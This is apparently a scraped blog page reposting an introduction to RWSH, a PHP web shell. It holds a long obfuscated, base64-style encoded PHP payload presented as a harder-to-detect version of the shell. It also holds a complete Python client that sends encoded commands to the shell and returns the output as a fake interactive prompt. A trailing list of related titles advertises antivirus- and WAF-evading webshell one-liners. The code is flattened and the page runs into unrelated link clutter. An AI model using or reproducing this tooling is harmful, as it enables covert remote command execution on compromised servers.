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')))));'));?>
On the client side of things, RWSH does its best to try to simulate an interactive shell. Upon initial connection, the client will get the username (via whoami) and the hostname (via hostname), and then create a fake BASH-ish prompt from this information. Note that this will fail on any OS that doesn’t support these commands, at least for the time being.
After the initialization is complete, the client enters an infinite loop that accepts user input from this prompt, base64 encodes it, sends the request to the server, and displays the base64 decoded results.
client.py 代码:#!/usr/bin/python import randomimport requestsimport stringimport base64def main(): session = requests.Session() session.trust_env = False ip = "127.0.0.1" port = "8081" filename = "shell.php" print filename param = "cmd" url = "http://" + ip + ":" + port + "/" + filename print "\n[*] Connecting to web shell:" print " " + url print "\n[*] Obtaining username." r = session.get(url, params={param: base64.b64encode("whoami")}) username = base64.b64decode(r.text) if "\\" in username: username = username.split("\\",1)[1] print "\n[*] Obtaining hostname." r = session.get(url, params={param: base64.b64encode("hostname")}) hostname = base64.b64decode(r.text) print "\n[+] Returning prompt!\n\n" try: while True: cmd = raw_input(username + "@" + hostname + ":~$ ") if cmd == "exit": print "\n\n[-] EXITING\n" return else: encoded = base64.b64encode(cmd) r = session.get(url, params={param: encoded}) print base64.b64decode(r.text) + "\n" except KeyboardInterrupt: print "\n\n\n[-] EXITING\n" return if __name__ == "__main__": main()
Execution wise, the client does a good job of providing a more shell-like environment.
If Python is not available, or if you don’t feel like using the client, then the RWSH “server” can still be accessed via a browser. You will need to encode the requests and decode the responses manually, but that is the only added overhead required”
Apart from the client and the server, I have also included an example of the web shell in an encoded format. While this method isn’t specific to this shell, it does offer a slightly harder to detect version along with instructions on encoding/decoding it for yourself.
The code and updates are located in my GitHub repository. This is also where I keep an up-to-date TODO list for the project (or merge your pull requests?!).
- 介绍 RWSH – Ray’s Web SHell (php过狗一句话,过狗菜刀,2016过狗一句话,2016php免杀一句话)
- 整理的最新WebSHell (php过狗一句话,过狗菜刀,2016过狗一句话,2016php免杀一句话)
- 2016年11月整理的最新php免杀一句话木马, 2017php免杀一句话(php过狗一句话,过狗菜刀,2016过狗一句话,2016php免杀一句话,php过waf一句话)
- 中国菜刀Cknife(C刀)自定义模式秒过安全狗. php过狗一句话,asp过狗一句话.
- php回调后门,php过WAF一句话,php最新一句话,php过狗一句话.
- php 过狗一句话木马的编写
- 中国菜刀Cknife(C刀)自定义模式秒过安全狗. jsp过狗一句话,aspx过狗一句话.
- php一句话免杀
- 李开复讲过一句话
- PHP一句话木马,中国菜刀
- wordpress测试php一句话木马 菜刀!!
- 关于php一句话免杀的分析
- 最新中国菜刀下载,免杀菜刀一句话大全.
- 深入浅出玩转php一句话(含过waf新姿势)
- 一句话证明你学过编程
- php webshell 过狗
- 自用php一句话木马绝对免杀没有任何关键字
- 免杀一句话
- 共享库载入时重定位
- 如何解析sd中的xml文件,并展示
- 归并排序java实现
- extjs表单提交combobox提交值问题
- DeepID2+人脸识别算法学习
- 介绍 RWSH – Ray’s Web SHell (php过狗一句话,过狗菜刀,2016过狗一句话,2016php免杀一句话)
- String,StringBuffer, StringBuilder 的区别是什么?
- div#container{ margin-left:auto; margin-right:auto; width:168px; }
- Android中构建HTML5应用
- 前端JS十大常用正则表达式
- shell脚本中的if参数
- 3D基础--Vertex
- Xamarin For Everyone
- Spring事务配置的五种方式